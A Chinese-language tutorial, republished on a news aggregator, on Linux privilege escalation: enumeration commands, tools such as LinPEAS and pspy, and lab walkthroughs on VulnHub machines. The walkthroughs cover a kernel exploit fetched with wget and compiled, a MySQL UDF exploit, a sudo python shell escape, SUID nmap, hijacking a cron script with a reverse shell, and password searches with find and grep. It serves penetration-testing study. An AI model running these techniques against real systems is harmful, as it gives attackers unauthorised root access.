Linux提权过程中的各种姿势
2024-01-15 17:12:24 软件 201观看
摘要1.关于提权系统提权通常是渗透测试或CTF比赛中遇到的关键步骤, 通过提权可以允许攻击者执行一些特殊操作,例如:绕过访问控制、更改密码、创建新用户作为持久化手段、对软件进行更改等。具有root权限的用户则可以对系

erb28资讯网——每日最新资讯28at.com

1.关于提权

erb28资讯网——每日最新资讯28at.com

系统提权通常是渗透测试或CTF比赛中遇到的关键步骤, 通过提权可以允许攻击者执行一些特殊操作,例如:绕过访问控制、更改密码、创建新用户作为持久化手段、对软件进行更改等。具有root权限的用户则可以对系统进行任何操作, 包括:读、写或删除任何文件、停止或启动服务、安装或卸载应用程序及管理账户等。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.提权过程中的信息收集

erb28资讯网——每日最新资讯28at.com

提权过程中的信息收集相当于是一个手动枚举的过程, 涉及对系统配置和服务信息进行详细的查看和收集, 在此过程中, 往往需要记录尽可能多的信息, 其中有些看似不重要的信息即使现在用不到, 在后期往往能提供非常有价值的灵感和思路。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.1 查看系统内核版本

erb28资讯网——每日最新资讯28at.com

如果发现具有可用漏洞的内核版本, 则可以使用它来获取root shell, 可以使用以下命令查看内核版本:erb28资讯网——每日最新资讯28at.com

$ uname -r

命令返回如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

如果安装了LSB模块, 则可以使用命令查看Linux版本, 命令如下:erb28资讯网——每日最新资讯28at.com

$ lsb_release -a

假如没有该命令, 可以使用以下命令查看:erb28资讯网——每日最新资讯28at.com

$ cat /proc/version

命令返回结果如下:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.2 Sudo版本

erb28资讯网——每日最新资讯28at.com

跟内核版本一样, sudo版本也可能受到攻击, 可以使用以下命令查看:erb28资讯网——每日最新资讯28at.com

$ sudo -V

命令返回结果如下:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.3 历史记录

erb28资讯网——每日最新资讯28at.com

使用history命令可以查看系统曾经运行的命令历史记录, 在这个过程中往往能够找到一些有价值的信息,例如:系统密码,如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.4 计划任务

erb28资讯网——每日最新资讯28at.com

可以使用命令查看系统中间隔时间运行的程序, 在这个过程中可能会发现一些意外的信息,如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.5 sudo信息

erb28资讯网——每日最新资讯28at.com

在Linux权限提升过程中, 查看用户当前拥有的sudo权限, 可以提示我可能使用sudo能够运行某些命令, 输入以下命令:erb28资讯网——每日最新资讯28at.com

$ sudo -l

命令返回结果如下:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.6 检查身份

erb28资讯网——每日最新资讯28at.com

可以直接使用id命令查看当前用户属于哪些组, 如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

2.7 检查网络信息

erb28资讯网——每日最新资讯28at.com

查看网络信息可以为下一步行动提供丰富的信息,例如: 路由信息、IP地址等, 根据这些信息对于之后理清整个网络拓扑结构非常有帮助, 命令执行结果如下:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

3.自动化工具

erb28资讯网——每日最新资讯28at.com

在Linux系统中使用自动化工具可以大大提升整体效率, 以下是一些常见的枚举工具。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

3.1 LinEnum

erb28资讯网——每日最新资讯28at.com

LinEnum是一款流行的权限提升工具, 它能够显示有关Linux系统的信息, 这些信息有价值的地方在于它们可能具有潜在的漏洞、错误配置, 大大提高提权的成功几率。erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

LinEnum收集的信息包括:用户账户、文件权限、活动进程、已安装的软件包、网络配置、计划任务、系统日志、版本信息等。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

3.2 LinPEAS

erb28资讯网——每日最新资讯28at.com

LinPEAS也是一个流行的提权脚本, 可以帮助我生成root shell的潜在路径, 并协助发现Linux环境中权限的错误配置或漏洞。erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

LinPEAS使用颜色编码系统突出显示哪些特权升级维度最可能发挥作用, 如果出现红色/黄色, 则应该优先关注。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

3.3 Pspy工具

erb28资讯网——每日最新资讯28at.com

Pspy是一个命令行工具, 该工具可以无需root权限监控Linux系统中运行的进程。erb28资讯网——每日最新资讯28at.com

该工具对于识别cron作业或其他计划任务运行的进程特别有用, 这些进程通常是特权升级攻击的目标。通过识别这些进程,渗透测试人员可以找到利用错误配置或漏洞的机会,从而使攻击者能够在系统上获得更高的权限。erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

3.4 Linux Exploit Suggester

erb28资讯网——每日最新资讯28at.com

Linux Exploit Suggester是一个Linux权限提升工具,用于检查计算机是否存在潜在的内核漏洞。该工具使用“极有可能”、“可能”、“不太可能”和“不可能”分数来计算漏洞利用成功的可能性。erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

3.5 Linux Smart Enumeration

erb28资讯网——每日最新资讯28at.com

Linux Smart Enumeration是另一个类似于LinPEAS 的工具。它旨在识别系统漏洞、错误配置和其他潜在的系统权限升级途径。然而,LSE以其独特的检查“级别”而闻名,它允许用户根据自己的需要指定枚举的深度。erb28资讯网——每日最新资讯28at.com

它具有三个详细级别。默认情况下,系统会显示最严重的安全漏洞。执行第1级会显示有用的信息,可以帮助渗透测试人员升级权限。执行级别2将提供收集的所有系统数据的大量转储。erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

4.利用内核漏洞提权

erb28资讯网——每日最新资讯28at.com

内核漏洞是利用Linux操作系统内核代码中的错误或缺陷, 例如:缓冲区溢出。为了能够证明利用内核漏洞提升权限并生成root shell确实有效, 这里使用了VulnHub的Kioptrix 1.1虚拟机。erb28资讯网——每日最新资讯28at.com

当以普通用户进入目标机器后, 首先还是通过lsb_release -a 命令查看内核版本, 如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

从上图中可以看出, 这台机器运行的是CentOS, 内核版本为:2.6.9, 下一步使用searchsploit命令查找漏洞, 完整命令如下:erb28资讯网——每日最新资讯28at.com

$ searchsploit linux CentOS 2.6 privilege escalation

图片erb28资讯网——每日最新资讯28at.com

上图中显示的9545.c将是我们利用的目标, 但必须将代码从Kali传输到我的目标机器并编译成可执行文件。erb28资讯网——每日最新资讯28at.com

接下来我在Kali机器上启动一个Python服务器, 并通过Kioptrix 机器上的wget下载漏洞利用程序。以下命令将在端口 8000 上启动 Python 服务器。确保在漏洞所在的同一文件夹中启动服务器。erb28资讯网——每日最新资讯28at.com

python3 -m http.server

图片图片erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

下面我可以使用wget命令将漏洞利用程序下载到Kioptrix,命令如下:erb28资讯网——每日最新资讯28at.com

wget http://192.168.56.103:8000/9545.c

下载完成后, 使用以下命令编译代码:erb28资讯网——每日最新资讯28at.com

gcc 9545.c -o privesc

图片图片erb28资讯网——每日最新资讯28at.com

最终利用内核漏洞获取到root shell权限。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

5.利用服务漏洞提权

erb28资讯网——每日最新资讯28at.com

服务漏洞主要是利用系统或应用程序服务中的漏洞达到提权目的。这些服务通常是向其他程序或用户提供特定功能的后台程序,包括: Web服务器、数据库服务器、电子邮件服务器等。erb28资讯网——每日最新资讯28at.com

服务漏洞利用的过程涉及攻击者控制服务中的漏洞个来执行恶意代码, 根据具体的漏洞和所涉及的服务, 成功利用的结果可能会有很大差异。erb28资讯网——每日最新资讯28at.com

下面是一个利用的案例, 看看在VulnHub的Raven2 VM中利用服务漏洞进行root访问是一种怎样的体验。erb28资讯网——每日最新资讯28at.com

当我通过反弹shell进入了目标系统, 便可以进行一些枚举操作来查找任何潜在的漏洞。erb28资讯网——每日最新资讯28at.com

现在我已经拥有位于wp_config文件中的MySQL凭据, 接着运行LinPeas工具, 看看能否找到任何可能的特权路径。erb28资讯网——每日最新资讯28at.com

观察LinPeas提供的输出内容, 我发现MySQL正在以root身份运行, 如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

祭出搜索引擎, 看看该版本的MySQL是否有可用的漏洞,如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

看上去运气不错, 有一个名为udf_root的潜在的权限提升服务漏洞可以利用,该漏洞利用MySQL中的UDF(用户定义函数是一段扩展MySQL服务器功能代码)以MySQL服务的权限执行系统命令, 最终获取系统权限。erb28资讯网——每日最新资讯28at.com

该漏洞利用会将/bin/sh复制到临时文件夹, 将所有者设置为root, 然后在/bin/sh二进制文件中设置SUID权限, 从而提供root shell。erb28资讯网——每日最新资讯28at.com

将udf_root脚本下载到我本地Kali机器上, 将其重命名为ravenprivesc.py, 通过执勤启动的Python服务器并使用wget命令将其下载到Raven机器上, 如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

结合之前MySQL的登录凭据, 即:用户名:root, 密码:R@v3nSecurity, 运行一下试试:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

成功获取到root权限。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

6.利用Sudo权限提权

erb28资讯网——每日最新资讯28at.com

在Linux系统中, sudo代表超级用户执行操作, 该命令允许普通用户以超级用户(root)的安全权限执行某些命令。sudo的主要目的是将root权限限制在真正需要的时候。erb28资讯网——每日最新资讯28at.com

对于攻击者来说, 利用sudo规则, 可以获得提权并操作一些命令,例如: cat、find或python。erb28资讯网——每日最新资讯28at.com

下面我使用sudo -l命令来查看sudo权限:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

从上图中可以看出, 可以使用sudo权限运行python, 而无需提供密码。erb28资讯网——每日最新资讯28at.com

下面执行该命令:erb28资讯网——每日最新资讯28at.com

sudo python -c 'import os; os.system("/bin/sh")'

图片图片erb28资讯网——每日最新资讯28at.com

从上图看到,直接获取到了root权限。erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

7.利用SUID提权

erb28资讯网——每日最新资讯28at.com

SUID代表设置所有者用户ID, SUID允许用户以与文件所有者相同的权限运行可执行文件。例如:如果文件设置了SUID位, 则标准用户可以使用root权限执行该文件。erb28资讯网——每日最新资讯28at.com

SUID权限可以使用带有四个前缀的chmod命令(例如:chmod 4755 文件名)来设置, 并且可以在ls -l中用s代替用户执行权限。erb28资讯网——每日最新资讯28at.com

可以输入以下命令进行手动检查SUID:erb28资讯网——每日最新资讯28at.com

find / -type f -perm -04000 -ls 2>/dev/null

图片图片erb28资讯网——每日最新资讯28at.com

也可以使用LinPeas检查SUID文件,如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

如上图, 利用Nmap命令设置SUID位来帮助我提升权限。可以从这个网站:https://gtfobins.github.io/gtfobins/nmap/#suid找到相关操作的详细过程。erb28资讯网——每日最新资讯28at.com

使用--interactive标志运行Nmap将来交互模式下启动它, 而!sh会在交互模式下生成一个shell, 由于Nmap上设置了SUID位, 因此shell将以root权限运行。erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

8.计划任务提权

erb28资讯网——每日最新资讯28at.com

Linux中的计划任务是按预定义的时间或间隔运行的操作, 它们用于自动执行重复性任务, 以便无需人工干预即可完成这些任务。erb28资讯网——每日最新资讯28at.com

如果计划任务以更高权限运行, 例如:root cron作业, 并且如果它被错误配置为执行普通用户可写的文件或脚本, 这样就可以修改此文件或脚本来包含恶意命令, 从而导致权限升级计划任务执行。erb28资讯网——每日最新资讯28at.com

这里我采用了VulnHub中的Symfonos3 VM来查看计划任务, 首先还是利用Python创建一个http服务,输入命令:erb28资讯网——每日最新资讯28at.com

python3 -m http.server

图片图片erb28资讯网——每日最新资讯28at.com

这里可以使用wget命令从服务器下载pspy, 只要确保使用本机IP 即可:erb28资讯网——每日最新资讯28at.com

wget http://192.168.110.136:8000/pspy64

图片图片erb28资讯网——每日最新资讯28at.com

接着运行:./pspy64, 让pspy运行几分钟, 这时可以看到一个名为ftpclient.py的进程在定时运行, 如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

研究一下该文件, 看看是否可以以某种方式在它后面附加一些代码来生成反弹Shell,如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

这里我没有ftpclient.py文件的写入权限, 但我注意到该文件正在导入ftplib, 不妨尝试将其写入该文件中试试,如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

由于是"gods"组的一部分,因此拥有该文件的读写权限, 我可以给这个文件附加一个shell, 等待计划任务执行, 这时应该称为root用户了, 如图:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

回到kali机器上,看看结果:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

erb28资讯网——每日最新资讯28at.com

9.利用密码提权

erb28资讯网——每日最新资讯28at.com

当涉及到Linux权限提升时, 成为root用户最简单的方法之一就是查找密码, 攻击者可能会使用多种方法来查找系统中的密码。erb28资讯网——每日最新资讯28at.com

Linux用户可以以纯文本形式存储密码, 如果这些文件没有得到适当保护, 攻击者可能会访问用户的账户。erb28资讯网——每日最新资讯28at.com

一旦找到密码, 攻击者就可以使用它来提升权限, 方法是登录更高权限的账户或将其与sudo一起使用以提升权限运行命令。erb28资讯网——每日最新资讯28at.com

下面将使用VulnHub中的SickOS VM来实现这个场景, 首先输入以下命令查看密码:erb28资讯网——每日最新资讯28at.com

cat /etc/passwd

图片图片erb28资讯网——每日最新资讯28at.com

从图中可以看到, 有一个用户较sickos, 下一步搜索以纯文本形式存储的密码, 可以使用以下命令来搜索包含字符串"pass"的PHP文件:erb28资讯网——每日最新资讯28at.com

find / -maxdepth 4 -name *.php -type f 2>/dev/null | xargs grep -C 3 -i pass

图片图片erb28资讯网——每日最新资讯28at.com

可以看到, 有一个以明文形式存储的用户名root和密码john@123, 看看是否可以使用找到的密码切换到sickos用户, 从社会工程学角度, 密码往往会重复用于多种场合:erb28资讯网——每日最新资讯28at.com

图片图片erb28资讯网——每日最新资讯28at.com

居然可以, 我已将www-data用户提升为Sickos用户, 现在顺便看看是否有sudo权限:erb28资讯网——每日最新资讯28at.com

sudo -l

图片图片erb28资讯网——每日最新资讯28at.com

可以看到,已经可以以root用户身份运行所有命令。erb28资讯网——每日最新资讯28at.com

本文链接:http://www.28at.com/showinfo-26-61912-0.htmlLinux提权过程中的各种姿势

声明:本网页内容旨在传播知识,不代表本站观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。

显示全文

上一篇:谷歌裁员千人,搅动硅谷!终身编程终结,我们何以苟活?

下一篇:苹果官网官宣新春降价活动 网友对比发现京东 iPhone 15 现货比官网便宜 300 元

最新热点